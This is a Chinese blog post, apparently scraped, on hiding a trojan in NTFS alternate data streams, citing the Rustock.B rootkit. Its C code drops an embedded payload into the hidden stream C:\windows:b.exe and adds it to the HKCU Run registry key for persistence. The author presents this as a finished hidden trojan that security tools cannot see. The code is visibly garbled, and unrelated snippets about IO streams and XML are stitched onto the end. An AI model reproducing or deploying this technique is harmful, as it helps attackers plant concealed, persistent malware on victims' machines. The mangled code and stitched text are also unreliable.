基於檔案流的檔案隱藏技術

2021-04-13 06:25:26 字數 2175 閱讀 5288

基於檔案流的檔案隱藏技術

---------x-star(cisrg) 

最近在分析乙個國外的

rootkit --rustock.b.rootkti時,

發現rustock.b

就用的ads stream

的方法來隱藏自身.

rustock.b.rootkit

執行的時候在

ntfs

檔案系統中釋放

c:/windows/system32:lzx32.sys

這個流,

而這個流在

windows explorer

中根本看不到這個流

,但是這個檔案是確實存在的

,而且也是可以被執行的

.這樣就實現了隱藏了.

雖然這也不是什麼新鮮的技術了

,但是還是有必要記錄一下

,必竟還不是有太多人了解

.而且也會常常被人忽略.

那麼什麼是

ads流

? microsoft

又為什麼要在

ntfs

檔案系統中用到這個流呢?

其實這個流就是alternate data streams(交換資料流).

ntfs交換資料流(adss)是為了和macintosh的hfs檔案系統相容而設計的,它使用資源派生(resource forks)來維持與檔案,比如說圖示及其他的東西.而微軟提供了一種方法通過windows explorer來建立特殊的adss,檢測這種特殊的adss的必要工具和功能相當缺乏.說來也奇怪,系統一直以來都有允許使用者建立adss以及在這種流檔案

.microsoft knowledgebase 中q101353號文章承認了基於api的win32不能很好的支援adss.中執行隱藏**的功能和工具相關的資訊

好了. 現在我們已經對這個流有個概念性的了解,下面開始講解如何在病毒程式或者其它木馬程式中應用這個流.

char buffer="c://windows:b.exe";//

注意這裡的

: 而不是/

hfile hfile = _lcreat(buffer,0);

hrsrc rsrc;

hglobal hglobal;

unsigned char * lpvoid;

dword dfilesize;

rsrc = findresource(null,makeintresource(idr_rs_data1),"rs_data");

if (rsrc==null)

hglobal = loadresource(null,rsrc);

dfilesize = sizeofresource(null,rsrc);

lpvoid = (unsigned char *)lockresource(hglobal);

uint uwrite;

while(dfilesize--)

lpvoid++; }

if(hfile==hfile_error)

_lclose(hfile);

hkey phkey;

long keyopen = regopenkeyex(

hkey_current_user,

"software//microsoft//windows//currentversion//run",0,key_set_value,&phkey );

if(keyopen!=error_success)

regsetvalueex(phkey,"b.exe",0,reg_sz,(const unsigned char *)buffer,sizeof(buffer));

regclosekey(phkey);

//return 0;

通過這個程式

,我們就能建立乙個

ads檔案流了

(這裡的資源檔案檔案我用的是記事本程式).

重啟之後

,你就會發現記事本程式自動執行了

.但是在檔案系統中你根本找不到這個檔案.而且

icesword

也看不到.

這樣乙個基於

ads交換流的隱藏木馬就完成了.

但是這個流有乙個侷限就是只存於在基於

ntfs

的windows

系統中.

基於檔案流的檔案隱藏技術

alternate data streams 交換資料流 ntfs交換資料流 adss 是為了和macintosh的hfs檔案系統相容而設計的,它使用資源派生 resource forks 來維持與檔案,比如說圖示及其他的東西.而微軟提供了一種方法通過windows explorer來建立特殊的ad...

IO流技術 檔案複製

複製文字檔案。既然是文字涉及編碼表。需要用字元流。操作的是檔案,涉及硬碟。有指定碼表嗎?沒有,預設就行。操作的是檔案,使用的預設碼表。使用哪個字元流物件。直接使用字元流操作檔案的便捷類。filereader filewriter public class copytextfiletest publi...

基於流的XML檔案操作筆記

xmlreader與 sax讀取器類似,不過前者是提取模式 只進唯讀的游標 後者是推送模式 將事件推送到應用程式 xmlreader的優點是 1 簡化狀態管理 2 可以有多個輸入流 3 提取模式可以作為推送模式的基礎,反之不行。4 提供乙個可以將字串直接寫入緩衝區,避免多餘位元組的的複製。5 有選擇...